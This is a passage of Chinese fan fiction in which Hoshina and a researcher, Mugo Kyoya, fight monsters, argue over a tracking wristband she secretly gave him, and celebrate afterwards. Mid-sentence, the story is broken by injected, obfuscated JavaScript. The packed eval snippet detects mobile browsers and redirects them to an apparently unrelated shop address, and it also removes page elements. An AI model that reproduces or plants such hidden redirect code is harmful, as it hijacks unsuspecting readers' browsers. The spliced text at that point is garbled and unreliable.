保科忽然觉得有些有趣。他没有戳穿,只是从善如流地点了点头,顺着她的话,用轻松的语气说道: “原来如此。那扇门效果不错,感觉整个人都焕然一新了。”他甚至还活动了一下肩膀,表示肯定,“下次要是讨伐再累瘫了,还能再借用一下吗?” 暮戈京矢实在是懒得把脑袋转到他那一边,只是更轻更慢地回道: “那扇门运行成本很高.....副队长。不是给你当休息舱用的。” 看着她这副难得一见的迷糊模样,保科知道这可能算是她最接近“柔和”的状态,放轻声音说起自己感官提升的体验。暮戈一开始只是安静地听着,直到他提出那个"天才"的建议—— “我在想,这种训练方式,如果……如果能调整一下强度,把接驳负荷控制在一个相对安全的阈值内,是不是也有可能应用到其他队员的身上?哪怕只是小幅提升,对整体战斗力应该也……” 暮戈眨了眨眼,反应慢了整整五拍,发出了一声很不常见的:"哇塞。" 这声感叹干巴巴的,带着睡眠不足特有的空洞。她扯了扯嘴角,露出一个没什么笑意的笑容: "你这个想法……" 保科眼睛一亮,以为有戏:"还挺有建设性的?" 暮戈:"……" 她沉默了很久,久到保科以为她又要睡着了,绕过来探头看她,正好对上她难以形容的眼神,类似于——"这人到底是怎么当上副队长的"。 “亲爱的副队长,你知道昨天的测试强度相当于同时把多少支标准镇定剂打入脊椎吗?” 她轻柔地叹了口气,像在讲睡前故事:"普通队员的话......第一轮:会哭。第二轮:"妈妈我要回家"。第三轮:开始过走马灯。第四轮:可以直接联系殡仪馆打折了。" 保科:“呃......”这故事好像有点硬核了。 “所以不,一点也不‘有建设性’。” 她缓慢地伸出手指戳了戳他的额头,把他轻轻推远:“那叫……‘大规模谋杀未遂''。” 保科配合地微微仰头,一时失语,并意识到两件事: 第一,他可能真的提出了一个蠢得惊人的建议。 第二,通宵后的暮戈京矢,毒舌功力似乎又上了一个台阶。 “这个游戏……目前……只有你能玩。” 说完,她似乎耗尽了最后一点精力,放弃跟他沟通解释,打了个哈欠,闭上双眼遮住愈发浓重的困倦,像赶小猫似的对他挥挥手: "好了好了……没事了……"她的声音越来越轻,几乎要融入背景的仪器嗡鸣中,"玩去吧……" 她往椅子里一缩,秒睡。 保科站在原地,看着睡得毫无形象的首席研究员,终于忍不住悄悄笑了,他轻手轻脚地把自己的外套披在她身上,对着睡着的她小声说: "好吧,那这个游戏就我们俩玩。" 23.5.8级,久违的讨伐战 保科从实验室出来,当真听话地“去玩了”——只不过他去的“游乐场”是第三部队的训练场。 清晨的阳光正好,洒在训练场的塑胶跑道上,场上的队员们正在做基础的格斗对练。放在以前,保科也能精准地指出每个人的问题,但今天,一切变得格外不同。 他能清晰地看到A队员出拳时肩胛肌肉的细微颤动,预判出这一拳会因为发力不稳而偏移三度;能听见B队员在快速移动时,鞋底与地面摩擦声的细微差异,判断出他的重心正在微妙地失衡;甚至能凭借对手瞳孔的瞬间收缩和呼吸节奏的改变,提前“读”出下一个假动作。 这种一切尽在掌握的清晰感,让他仿佛在观看一场放慢了速度、却又信息量倍增的电影。 “今天心情很好啊?保科。”一个清冷的声音从身后传来。 保科回头,看见亚白米娜不知何时站在了他身后。她依旧是一身笔挺的队服,长发利落地束起,手里拿着新型狙击武器「苍雷」的适配报告。 “很明显吗?”保科笑着摸了摸自己的脸。 亚白微微歪头,用她特有的方式表达肯定:“你哼歌了。” 保科这才意识到自己无意识地在哼着立川基地食堂最近常放的广告曲,有些不好意思地清了清嗓子。 “看来昨晚的‘特别训练’效果显著?”亚白的目光在他身上扫过,带着关切。她显然知道保科被暮戈“留堂”的事。 “效果是很好,”保科活动了一下手腕,“就是过程有点……嗯,刺激。”他选择了一个比较温和的词。 “暮戈首席的作风。”亚白表示理解,随即问道,“下一步是什么?更多的数据采集?” “不,”保科摇摇头,“暮戈首席说,只要数据分析确认无误,下一步就直接进行十号战斗服的实体适配测试了。” 亚白正准备翻看报告的手顿住了。她抬起头,清冷的眼眸里闪过一抹讶异。 “这么快?”她微微蹙眉,“我的「苍雷」从立项到第一次实弹测试,走标准流程也用了一个月。”她掂了掂手中那份厚厚的报告,有些无奈地调侃,“她这速度,是给科研部上了发条,还是单独给你开了条专属快车道?” 保科扯了扯嘴角,想起暮戈那不容置疑的推进节奏和精准到冷酷的效率:“可能……是她判断我已经具备了条件,所以……”所以他才能“有幸”体验那套惨绝人寰但效果拔群的速成方案。这话他没说出口,但脸上的表情已经说明了一切。 亚白看了他一眼,那眼神仿佛在说“你管那叫‘具备了条件’?”,她轻轻叹了口气,终究还是为他高兴,浅笑着感慨:“看来,我们很快就要有一位穿着编号战斗服的副队长了。” 她拍了拍保科的肩膀:“做好准备吧,保科。实体适配和模拟测试完全是两回事,我翻了防卫队历代编号武器适配记录......” 这时,尖锐的警报声划破训练场的空气—— 【警告!确认东京湾C7区出现兽级5.8能量反应!重复,兽级5.8!特性:高速、酸性喷射!】 【第三部队,出击准备!】 久违的警报声让保科眸光一凝,所有关于测试的思绪被迅速压下。兽级5.8,对于经验丰富的老队员而言尚在可控范围,但对于新人来说,已是需要严阵以待、稍有疏忽便会见血的挑战。这确实是检验新兵、让他们感受真实战场残酷的绝佳机会。 保科跟亚白队长交换了个眼神,多年默契让他们无需过多交流,亚白点点头,保科转身便朝着装备库方向快步走去,同时单手装配上耳麦,迅速下达指令:“新人第一、第二小队,全员装备标准战斗服,携带抗酸防护盾,C7区集合!老队员负责外围策应、火力掩护和重伤救援,非致命危机不出手!重复,这是实战历练!” “明白!” 当保科赶到集结地点时,新人们已经整装待发,脸上混杂着紧张和兴奋。他快速扫视了一圈,做了简短的战前动员,便带队登上了运输机。 东京湾C7区,工业废墟建筑群。 空气中弥漫着金属尘埃和怪兽特有的腐臭,数头形态各异、覆盖着暗沉甲壳的怪兽,正利用钢筋水泥的复杂地形,高速移动,不时从刁钻的角度向队员们喷射具有腐蚀性的毒液。 新人们组成的阵线在最初的慌乱后,勉强稳住,但配合依旧生涩,压力巨大。 保科静立在一处集装箱顶上,扫视着整个战场,随时准备应对突发状况,他的声音通过扩音器冷静地响起,简洁地指出配合的失误和攻击的最佳时机。 但大部分时间,他都放任新人们自己去面对、去犯错、去学习。 “啧,这鬼地方。”通讯频道里,传来亚白米娜冷静却带着一丝不悦的声音,“视线遮挡太多,结构脆弱,目标甲壳对能量攻击抗性较高,且与队员交战距离过近。”她的枪炮特化狙击在这种环境下威力大打折扣,难以进行有效的远程火力支援。 “重火力容易造成误伤和二次坍塌。” 保科在刚到讨伐区时就意识到这个问题了,这种情况在以往无数战斗中不算少见,他有处理经验:“收到,交给我吧。” 但这种平均体型达到12米的怪兽,确实非他以往能够快速解决的类型。 战斗如火如荼。大部分新人表现尚可,依靠团队协作勉强抵挡,直到一名新人,在追击一只利用残破传送带作为掩护的余兽时,判断失误,踩塌了一块松动的预制板,整个人失去平衡,向下坠入一个被瓦砾半封堵的、相对低洼的区域! 而几乎同时,另一只怪兽似乎早就在那里伏击,巨大的、覆盖着粘稠酸性铠甲的身躯如同崩塌的山岩,从一堆集装箱残骸后猛地冲出,带着要将一切碾碎的势头,那队员显然慌了神,躲避动作僵硬,庞大的阴影瞬间充斥了他的整个视野,带着尖刺的尾巴高高扬起,眼看就要将他连同身后的危墙一起拍碎! “小心!”有队员在通讯器里惊呼。 “亚白队长!有角度吗?”保科的声音瞬间绷紧。 “……不行!钢结构完全挡住了射击线!”亚白的回应快速而冰冷。 话音未落,保科已经动了。 他的速度快得只在原地留下一道淡淡的残影,身影在复杂的废墟中几个匪夷所思的变向,踩过倾斜的钢梁,避开喷射的酸液,如同一道贴地飞行的闪电,瞬间切入那个低洼区域,悍然挡在了新人与怪兽之间! 面对这只体型远超小型怪兽范畴、冲撞势头凶猛的庞然大物,保科眼神一凝。按照他千锤百炼的肌肉记忆和战术设计,面对这种体型的冲击,最优解是双刀格挡卸力,利用身法错身而过,攻击其相对脆弱的关节或眼部。 但就在他发力出刀的瞬间,一种极其微妙的感觉涌上心头。 他的动态视力仿佛被无形中放大,怪兽扑击的轨迹、肌肉的收缩、粘液铠甲在不同部位的厚度差异、甚至尾部扬起时那细微的力量流转轨迹,都变得异常清晰。身体对力量的流动感知也提升到了新的层次,每一寸肌肉的发力都如指臂使。同时,他清晰地感觉到左手腕上那个黑色的金属环传来一丝几乎难以察觉的温热,一股微弱却精准的脉冲能量,悄然附加在了他挥出的刀锋之上。 电光火石之间,保科选择遵从了新的战斗本能,改变了原本格挡闪避的策略。他重心下沉,左脚猛地踏碎地面,仅以右手单刀,迎着怪兽冲撞最为猛烈的正面肩甲部位,自左下向右上,挥出了一记看似违背常理、硬碰硬的斜撩斩! “嗡——锵!” 不再是清脆的刀鸣,而是一种低沉的、带着能量震颤的撕裂声! 那柄单刀势如破竹,硬生生破开了那足以抵挡常规炮击的粘液铠甲,一气呵成地将这只体型不小的怪兽,斜着劈成了两半! 粘稠的酸性血液和内脏哗啦散落,被保科早已预判般侧身避开。 整个过程,干净利落,远超他平时单刀所能达到的破坏力极限,带着一种与他以往灵巧风格略有不同的、隐含着绝对力量感的暴力美学。 那名脱险的新人瘫坐在地,瞳孔剧烈收缩,大脑因为极度的震惊和恐惧一片空白。他眼睁睁看着那只如同小型堡垒般的怪兽冲向自己,死亡的阴影几乎将他吞噬,而下一秒,副队长的身影如同天神般降临,然后…… 单刀?在这么狭窄的地方,正面硬撼,一击……秒杀?! 『这……这真的是……用刀能做到的事情吗?!』 他见过保科副队长训练,那流畅凌厉的双刀术令人惊叹,他也知道副队长是讨伐中小型怪兽的专家。但眼前这只高达12米的怪兽,怎么也算不上“中小型”了吧! 保科自己也愣了一下。他收刀而立,低头看了看自己握刀的手。 五感提升带来的精准预判?身体机能强化带来的爆发力?还是……这个手环那“提升3%切割效率”的微妙作用,在实战中以这种意想不到的方式放大了? 或许,兼而有之。 这就是她所谓的“优化进程”和“小礼物”带来的……对自身短板——应对大型目标的补强吗? 保科自然注意到了新人那仿佛见鬼一样的表情。他没有解释,只是对那名惊魂未定的新人伸出手,语气依旧平稳:“别发呆,战斗还没结束。记住这次教训,保持阵型。” 新人下意识地抓住保科的手,被拉了起来,双腿还有些发软。他看向保科副队长的眼神里,充满了劫后余生的庆幸,以及一种近乎崇拜的震撼。他用力点了点头,将那句难以置信的疑问死死压在心里,重新握紧了手中的武器。 保科按下通讯器冷静下令:“目标清除。各小队注意,利用废墟掩体逐步推进,优先确保自身安全,压缩怪兽活动空间。” 他再次投入指挥,但内心深处对那份“礼物”带来的战术可能性,评估又提高了一层。这不仅提升了对更大体型怪兽的杀伤力,更在复杂地形下,为他提供了以往不具备的、一锤定音的强大破局能力。 立川基地研究所,科研首席的私人实验室里。 暮戈京矢缩在椅子里睡着,裹着明显不属于她的队服外套,像只被羽翼覆盖的鸟。 终端预设的提示音以一种不依不饶的平稳节奏,持续低鸣着,将她从一场罕见深沉、无梦的睡眠中缓缓托起。 她没有立刻睁眼,只是在那片残留的黑暗与宁静中多停留了几秒,感受着久违的、近乎奢侈的精力恢复感。随后,她才抬手,精准地按掉了提示。眼睫微动,绀青色的瞳孔在昏暗的光线下睁开。 屏幕自动亮起,第一条信息跃入眼帘:【第三部队,东京湾C7区,兽级5.8讨伐作战,进行中。】 带队人:保科宗四郎,亚白米娜 参与人员:新人第一、第二小队。 C7区,复杂工业废墟环境。兽级5.8,对熟练队员构成威胁。带队的是两位队长,战术素养和应变能力足够,但…… 暮戈的目光在“新人”二字上短暂停留。她慢慢坐起身,宽大的队服滑落,露出清瘦的肩线。睡眠抚平了她眉宇间常驻的锐利与疲惫,让她此刻的神情显得有些松散。 在她的认知框架里,防卫队普通新人的标准,与她过往接触的、或她自身所经历的“合格线”相去甚远。他们动作迟缓,判断冗余,协同低效,在她看来,这群人甚至还没完全学会如何在不给队友添麻烦的情况下有效战斗。 而更深层处,是九号留下的阴影,如同水底暗礁,在不经意间便会硌痛神经。任何一次看似常规的怪兽出现,都无法完全排除是那家伙投石问路的可能性。 而这又是一次长时间平静后的讨伐战。 她起身,通过特殊权限,直接向后勤部门发出了一条指令。 当直升机掠过东京湾上空,C7区的轮廓在下方逐渐清晰时,暮戈面前的便携终端上,正运行着她为筛查九号能量特征而私下构建的模型。数据流平稳,反馈的信号特征与常规兽级能量谱完全吻合,没有任何异常谐波。 结论明确:安全。与九号无关。 暮戈靠在座椅上,看着窗外逐渐清晰的战场。旋翼的轰鸣声包裹着她,屏幕上的冷光映在她脸上。 好吧,来都来了。 讨伐战进入后半段,余兽们被逼入一处战术区域,而队员们也分散在了废墟各处,由于体力不支等原因略有些挂彩。 保科扶起一位腿部被突起的钢筋刺伤的队员,感觉自己像一位幼儿园老师——谁能告诉他“因为太紧张把背后的队友当成怪兽所以吓得左脚绊右脚摔倒了”是什么神秘的理由啊? 负伤队员脸色苍白,他的解放战力不高,战斗服一时间支撑不了被刺穿的左腿,几乎失去了行动能力,没等他站稳,废墟后又窜出来一只余兽。 保科头都没回,正要反手把它砍成碎块,斜上方传来一声枪响,如同石子投入死水,在废墟间回荡。那头扑向保科和伤员的余兽在空中猛地一滞,核心处爆开一小团幽蓝的能量碎屑,随即沉重地砸落在地,不再动弹。 保科持刀的姿势未变,深红色的眼眸瞬间锐利地望向子弹来袭的方向。 硝烟未散的断墙残垣之上,立着一道他从未想过会在此刻此地见到的身影。 暮戈京矢穿着一套最基础的、没有任何部队标识的通用型战斗服,与她平日里那身纤尘不染的白大褂判若两人,手中持着一支同样制式、甚至显得有些“过时”的步枪。 这种步枪,火力中庸,射速平缓,在追求极致火力压制或特殊功能的防卫队装备序列中,堪称朴实无华。可此刻,那冰冷的金属枪身贴合着她的肩颈,枪托稳稳抵住,她单眼瞄准的侧脸线条冷峻而专注,仿佛那支步枪并非外物,而是她肢体自然而然的延伸。 她没有停留在安全距离。在精准点射掉另一只从侧面阴影中扑出的余兽后,利落地一个侧滑,利用半截倒塌的墙体作为掩护,拉近了与他们的距离,步枪在她手中,最大限度地发挥了其单发精准、可靠稳定的特点,每一次短暂停顿后,都必然伴随着一声枪响与一头余兽的湮灭。 战场对保科而言本无压力,但她的出现,以及这种截然不同的战斗姿态,让这片废墟瞬间变得有些不同。 他迅速将伤员安置到更安全的掩体后,解决了另外两只靠近的余兽,这才有机会看向已经来到近处的暮戈。 “首席?”保科收刀,语气里带着毫不掩饰的惊讶,“你怎么会在这里?” 他环顾四周如同迷宫般的破碎混凝土森林,“而且,这地方可不好找。” 暮戈京矢正低头检查步枪的余弹,闻言,动作几不可查地顿了一下。 她没有立刻回答。这个短暂的沉默,在枪声间歇的废墟中,显得格外突兀。 然后,她微微转过脸,避开了保科的视线:“……路径分析罢了。” 不信,他自己都不知道自己有什么路径可言,完全是跟在到处乱窜的新人后面兜底。 本来只是随口一问,暮戈难得躲闪的拙劣回答却让他微微眯起眼睛:“嗯?” 暮戈京矢把已经装填完毕的弹匣又拆出来了一遍:“......” ……太聪明了也是麻烦。她心想。 保科突然福至心灵。 他缓缓抬起自己的左手手腕。虽然此刻被战斗服的衣袖和手套严密包裹,但他们两人都清晰地知道,在那层布料之下,一个哑光黑色的金属环正紧密地贴合着他的腕骨。 战场上,她精准地、几乎是径直地找到了身处复杂废墟深处的他。 保科宗四郎深红色的眼眸眨了眨,忍不住发出了哭笑不得的指控,尾音不自觉地拖长: “喂……不是吧?”他晃了晃自己的手腕,“你这人……怎么这样啊?” 他从来没想过,这个号称是“提升切割效率”的、看起来无比正经的“小礼物”,底下居然还藏着这种功能?这简直……这简直就像是给家里的宠物戴了个定位项圈,虽然他知道这比喻有点离谱,但此刻的感觉莫名相似! 暮戈京矢知道糊弄不过去了,她迅速抬起眼,没接他的话茬,而是用步枪枪口随意地一点侧前方仍在传来零星战斗声响的区域: “战场上还有余兽在活跃,副队长。”她语速比平时稍快,“我去清理侧翼。” 说完,根本不给他反应的时间,她飞快转身,战斗服勾勒出流畅的线条,几个起落便敏捷地翻过一堆混凝土块,身影迅速消失在废墟的阴影中,动作快得几乎像在逃离现场。 她这近乎默认、并且快速溜走的行为,简直比直接承认还要说明问题。 保科看着那道迅速远去的深灰色背影,无奈地摇了摇头,嘴角却不受控制地向上弯了弯。 行,先打仗。 等讨伐结束,他非得好好跟她说道说道这个“附属模块”不可。 想到这里,他还不忘朝着她离开的方向,稍微提高了声音提醒道: “暮戈!侧翼那边有几个新人还在练手,顾着点他们,多给点成长空间!” 远处,暮戈京矢没有回头,只是抬手比了个简洁的、表示“收到”的手势,随即更快地消失在了断墙之后。 ...... ...... 战斗结束的哨声在废墟上空回荡。 收队的指令下达,零星的枪声彻底停歇。有些西斜的阳光将废墟的轮廓拉得很长。 队员们互相搀扶着,清理战场,收拾装备。不少人的目光,都有意无意地飘向那个穿着普通制式战斗服、却在整个后半场如同幽灵般穿梭在断壁残垣间的身影——暮戈首席。 此刻,她正和保科副队长并肩走在返回集结点的路上,更让人侧目的是他们之间的氛围。 保科副队长微微侧着头,距离近得几乎超越了常规的社交距离,正在对暮戈首席半真半假抱怨着什么。 “……所以,除了提升效率和‘路径分析’,”保科声音不高,带着明显的调侃,眼里闪烁着促狭的光,“它到底还有多少‘隐藏功能’是我不知道的,嗯?首席?” “......” “该不会还有录音或者生命体征监测吧?首席,你这可是侵犯个人隐私啊。” 暮戈目不斜视地往前走,下颌线绷得有些紧,唇抿成一条直线,对于保科一句接一句、半是控诉半是逗弄的追问,采取了非暴力不合作的沉默态度。 “看来我得好好研究一下这份‘礼物’了,”保科得寸进尺,语气愈发轻快,甚至带着点无辜的委屈,“说不定我晚上说了什么梦话都被记录下来了?” 暮戈只是沉默着,加快了脚步。 可她加快,保科也自然地跟上,依旧维持着那过近的距离,关西腔软绵绵地,却不依不饶:“说话呀?当时给我戴上的时候,可没说是‘多功能’的……” 终于,在他下一句调侃即将出口的瞬间—— 暮戈京矢的脚步猛地停住。 她终于忍无可忍,倏地转身,在保科带着笑意的目光中,抬手精准地钳住了他的下颌——拇指牢牢扣住他一侧颧骨下方,其余四指深深陷入另一侧下颌线与颈部的交界处,虎口严密封锁了他的唇齿,掌心完全包裹住微凉的脸颊皮肉,用力向中间一收—— “——唔!” 所有未出口的调侃被瞬间物理封印。 保科整个人顿在原地。战斗服手套粗粝的质感紧贴皮肤,力道之大让他几乎无法动弹。他眨了眨眼,看着她眼底那近在咫尺、生动无比的恼火神色,非但没有挣扎,反而因这过于直接的“强制禁言”低笑起来,肩膀微微颤抖。 暮戈京矢被他笑得指节又收紧几分,咬着牙从齿缝里挤出两个字: “闭嘴。” 保科顺从地发出一个模糊的音节表示投降,但那双狭长的眼睛里笑意却愈发浓烈。 周围正在收拾装备的队员们下意识地放慢了动作,不无震惊地看着他们那位向来从容的副队长被人掐着脸敢怒不敢言(甚至还在笑),而那位暮戈首席竟然会做出如此……“人性化”的举动。 直到亚白米娜冷静的声音通过通讯器传来,通知全员登车返回,暮戈京矢才像是被惊醒一般,猛地松开手,看也不看保科,转身快步走向运输车,背影带着点近乎落荒而逃的僵硬。 保科勉强压下大笑出声——这可能会导致某人恼羞成怒之下做出什么恐怖的事——的冲动,脚步轻快地上了车。 回程的运输车内,气氛比去时松快了许多。队员们虽然疲惫,但初次实战的兴奋和对保科副队长惊人战斗力的议论低声交织着。 保科坐在靠窗的位置,正放松地看着窗外飞速倒退的景色,脸上那点被用力掐按过的红印尚未完全消退,在他冷白的皮肤上显得有些显眼。 不远处,几个看见了刚才那一幕的队员互相使着眼色,嘴角憋着笑,显然知道这“伤”的来历。这时,一个刚从其他区域汇合、对此一无所知的队员,端着水杯路过,一眼看到了保科脸上的痕迹。 “副队长!您脸受伤了?”他关切地凑近,“需要医疗包吗?” 他话音刚落,旁边几个亲眼目睹了“案发过程”的老队员表情立刻绷不住了,有人赶紧使眼色,有人假装咳嗽,试图阻止这个愣头青。可惜晚了。 保科闻言,指尖轻轻碰了碰那块皮肤,仿佛在确认痕迹的存在,深红色的眼眸里掠过微妙的神色,像是无奈,又像是某种被取悦了的莞尔。 随即,他脸上重新挂起那副无可挑剔的温和笑容,对着队员 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16747857|188811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻松地摆了摆手,关西腔里带着难以言喻的、近乎“此地无银三百两”的真诚: “啊,这个啊……不小心在废墟里撞了一下。” “撞、撞了一下?”年轻队员眨了眨眼,看着那分明像是被人用手……嗯……“捂”出来的痕迹,表情更加困惑了。什么样的撞击能撞出这么清晰的指印? 旁边知情的队员已经痛苦地捂住了额头,恨不得把那个多嘴的新人按回座位底下。 “嗯,撞了一下。”保科面不改色地重复,语气自然得像在陈述战术报告,“没事,不疼。” 他越是表现得如此坦然镇定,那几个知情的队员就越是想笑又不敢笑,憋得肩膀微微发抖。 而坐在车厢最前方、独自一人占据一排座位的暮戈京矢,背脊轻微地僵直了一瞬,仿佛能将身后那片区域的低语和那声“撞了一下”听得一清二楚。 保科看着前方那个连发丝都透着“生人勿近”气息的背影,心情颇好地靠回椅背,这次总算是他赢了一局。 ..... ..... 立川基地食堂今晚格外热闹,空气中弥漫着烤肉和胜利的欢快气息。新人们的第一次实战讨伐顺利完成,虽然不是高等级怪兽,但足以让这些年轻队员兴奋不已。 食堂中央的长桌旁,保科穿着普通的防卫队常服,深紫色的头发在灯光下显得格外柔软,此刻正被一群新人团团围住,脸上带着标志性的笑容。 "副队长,尝尝这个!" "副队长,刚才那个配合您看到了吗?" "副队长..." 保科游刃有余地应对着每个人的热情,甚至还自然地拿起公筷,给旁边一个害羞的队员夹了块烤好的肉:"多吃点,今天的表现很不错。" 就在这其乐融融的时刻,食堂门口的光线暗了一下。 暮戈京矢似乎只是路过,显然是刚结束战后清洗,换下了所有正式装束,只穿着一件最简单的黑色无袖背心,露出了那双线条精练、蕴藏着千锤百炼力量感的手臂。湿润的黑发随意拢在耳后,发梢还带着刚沐浴完的湿气,水珠偶尔沿着细腻流畅的脖颈滑落,没入平直精巧的锁骨凹陷处。 当她出现在门口的瞬间,以她为圆心,欢快的声浪像是被按下了静音键,迅速消退。 那些今天在战场上亲眼见过她战斗的新人们,表情变得复杂——不再是单纯的恐惧,而是混合着敬畏、感激和难以理解的情绪。他们看着她,脑海中不受控制地回放着战场上那一幕幕:步枪在她手中如同活物,点射、格挡、支点突进......那种将精准射击与近身机动完美融合的战斗方式。 暮戈显然对此很有自知之明,她的脚步没有丝毫放缓,只是朝着人群方向潦草地点了下头,算是打过招呼,目光没有在任何一个人身上停留,明确表示"无意打扰,纯粹路过"。 就在她即将穿过食堂时—— "首席!" 保科的声音清脆地响起。在所有人惊愕的目光中,他自然地伸出手,轻轻拦了下暮戈。 "来都来了,坐下一起吃点儿?"保科仰头看着她,深红色的眼睛里漾着笑意,“今天战场上,多亏了你及时援护,这几个小子才没挂彩。”他说着,目光意有所指地扫过几个今天曾被暮戈从怪兽爪下救下的队员。 几个今天确实被解围过的队员顿时坐直了身子。 暮戈京矢似乎叹了口气,但还是顺着指引在他身边的空位坐下,姿态挺拔,与周遭放松的氛围格格不入,餐桌上的空气依旧有些凝滞。 原本喧闹的新人们都安静下来,目光在她和保科之间游移。 保科却像是完全没察觉到这微妙的气氛,笑着拿起一串烤肉放到她面前的碟子里:"先吃点东西?今天食堂的调味很不错。" “谢谢,”暮戈京矢仍然是那种快速且平均的咀嚼频率,完全把食物咽下去后才开口:“味道不错。” 保科一直很怀疑她这种吃法是否真的能吃出味道,但空气确实因为她这一句点评重新流动起来。 "首席,"一个今天被她救下的年轻队员鼓起勇气开口,"今天在废墟里,谢谢您..." 暮戈抬眼看了看对方,完全没印象了,只能模棱两可地"嗯"了一声。 另一个队员大着胆子问:"您是怎么做到一边快速移动还能那么准的?" "练的。"她简短地回答,咬了一小口保科递来的新烤串。 气氛稍微放松了些。这时,一个特别年轻的队员忍不住问了个天真烂漫的问题:"首席,您是不是在枪上装了自动瞄准器啊?" 整个餐桌瞬间安静了。连保科都忍不住扶额,这问题实在太外行了。 暮戈京矢停下咀嚼,绀青色的眼睛平静地看向那个提问的队员,用毫无波澜的语气说: "嗯,装了。还是声控的,喊''砰''就能自动射击。" "......" 全场寂静两秒。 随即,保科第一个拍桌大笑,笑得前仰后合,差点从椅子上滑下去。其他队员愣了片刻后,也忍不住跟着笑起来——尤其是那个提问的年轻队员,自己也不好意思地挠着头笑了。 "对、对不起,我问了个蠢问题..."他红着脸说。 "知道就好。"暮戈淡淡地接了一句,但嘴角似乎有那么一丝几乎看不见的松动。 这个意外的冷幽默像是一下子打破了最后的隔阂。队员们发现,这位看似冰冷的首席其实并不是他们想象中那么不近人情。 保科一边笑一边帮她倒了一杯麦茶:"看来我们首席还挺有幽默感的。" 暮戈接过杯子,瞥了他一眼:"仅限于对付特别天真的提问。" 周围的新队员们也在这两句话里放松下来,有人凑过来带点小心地问:"那、那我以后能不能去研究所请教问题啊?" 暮戈端起麦茶抿了一口,氤氲的热气稍稍柔和了她过于清晰的轮廓。她放下杯子,目光扫过那个满脸期待的队员。 "可以。"在对方眼睛亮起的瞬间,她又平静地补充道,"先通过理论考试,分数低于90免谈。"哀嚎声与笑声同时响起,气氛彻底活络开来。 食堂里蒸腾着烤肉与青春的炽热气息。初次讨伐归来的年轻队员们脸上还带着硝烟的痕迹,眼睛却亮得惊人。他们举着饮料杯当酒盏,大声争论着白天的每个细节—— “我当时一个侧滚翻,正好躲开酸液!” “胡说!明明是我拉了你一把!” “你们看见副队长那一刀了吗?太帅了!” “首席的枪法才叫绝啊...” “我当时一个滑铲!”那个曾经被暮戈“震撼教育”的寸头队员跳起来比划,差点打翻邻座的饮料,“那怪兽的黏液就差这么点——”他拇指与食指捏出微小的距离,眼睛亮得惊人。 “得了吧!”旁边扎着马尾的女队员拍桌大笑,“你明明是摔了个狗吃屎,要不是副队长拉你一把……” “我那叫关键诱敌!” 哄笑声顿时炸开。他被调侃也不恼,反而站起来夸张地还原当时摔跤的动作,结果差点带倒整盘烤肉。立即有好几双手伸过来扶住他,笑骂声和烤肉滋滋作响的伴奏此起彼伏。 有人开始模仿怪兽笨拙的姿态,同伴立即配合地摆出作战姿势。几个女队员挤在一起翻看战场记录仪里的片段,每到惊险处就发出整齐的抽气声,又在危机解除后相视而笑。餐盘被随意地传递着,谁都能在任何人的盘子里夹一筷子,调味料在喧闹中不知被推到了哪个角落。 在这片沸腾的朝气中央,暮戈和保科静坐一隅。 他们看着热油滴进炭火激起细碎火星,映亮每一张尚不知恐惧为何物的脸庞。 笑声几乎要掀翻屋顶。他们大声争论着谁的射击姿势更标准,谁躲闪的动作最狼狈,又在提及彼此糗事时笑作一团。有人不小心把酱汁蹭到脸上,立刻被同伴拍下来要挟“不请客就群发”。死亡的阴影尚未在这些年轻的生命里留下刻痕,此刻只有纯粹的、近乎奢侈的欢腾。 当那个在战场上左脚绊右脚的队员,站在椅子上声情并茂地重现自己当时的“战术性卧倒”时,保科侧头看向暮戈,她眼底映着食堂温暖的灯光,垂眸看着年轻人把番茄酱画成歪扭的胜利符号,指尖无意识地轻叩桌面。 不需要任何言语。 ——这些略显笨拙却充满生命力的喧嚣,这些还会为烤焦的鸡翅懊恼、为同伴的糗事大笑的年轻人们,就是他们愿意无数次奔赴战场的原因。 暮戈京矢安静地吃完保科处理好的那几样食物后,便用餐巾轻轻擦了擦嘴角,起身准备离开。 她刚有动作,那几个原本坐在稍远处、一直偷偷看她的女性队员就互相使了个眼色,呼啦一下围了过来。 "首席,再坐一会儿嘛!" "对啊对啊,烤蘑菇马上就好了,您尝尝吧!" "我们还有好多问题想请教您呢..." 或许是氛围已经足够融洽,或许是保科副队长在场给了她们勇气,这群年轻女孩叽叽喳喳地挽留着,眼神里充满了纯粹的期待和热切,形成了一道柔软却难以突破的屏障。 暮戈京矢看着眼前这些年轻鲜活、充满善意的面孔,那句已经到了嘴边的冷淡拒绝在舌尖转了一圈,终究没能说出口。她不太擅长处理这种直白而柔软的情感攻势,下意识地看向保科,指望他能解围。 然而保科只是靠在椅背上,双手一摊,深红色的眼睛里写满了“爱莫能助”和“我看你怎么办”的看好戏意味。 暮戈京矢轻不可闻地叹了口气。冷硬的回绝在这种氛围下显得不合时宜,也不符合她此刻...稍微放松了些的心境。 她沉默两秒,目光落在其中一个最活泼的女队员领口,突然伸出手,在所有人惊讶的注视下,帮对方整理好歪斜的领章。 "纪律,女士。" 她收回手,在对方瞬间涨红的脸色中露出一个极淡的微笑:"比起挽留我,不如先确保下次作战时你的装备不会出卖你。" 说完,她还做了一个简洁却优雅的告别手势——右手轻轻按在左胸前,微微欠身。趁着她们愣神的功夫,侧身从缝隙中穿过,在女孩们一片脸红心跳的寂静中,步伐从容地离开了食堂。 直到她的背影消失,那个被整理衣领的队员才猛地捂住脸:"天啊..." 另一个队员小声喃喃:"这也太帅了吧..." 连旁观的男队员们都忍不住点头。 保科在一旁看着,忍不住低笑。他就知道,女人要是愿意,随便一句话就能把人弄得晕头转向。这种收放自如的手段,可比她那些战斗技巧可怕多了。 24.魔法和尾巴 翌日。 立川基地研究所,最深处的G303实验室。 与昨日食堂里蒸腾的烤肉香气和几乎要掀翻屋顶的喧闹相比,此地的空气冰冷而沉静,只剩下仪器运行的低频嗡鸣与指示灯规律的闪烁。光线是单一的、无情的冷白,将金属台面与各种复杂设备照得一清二楚。 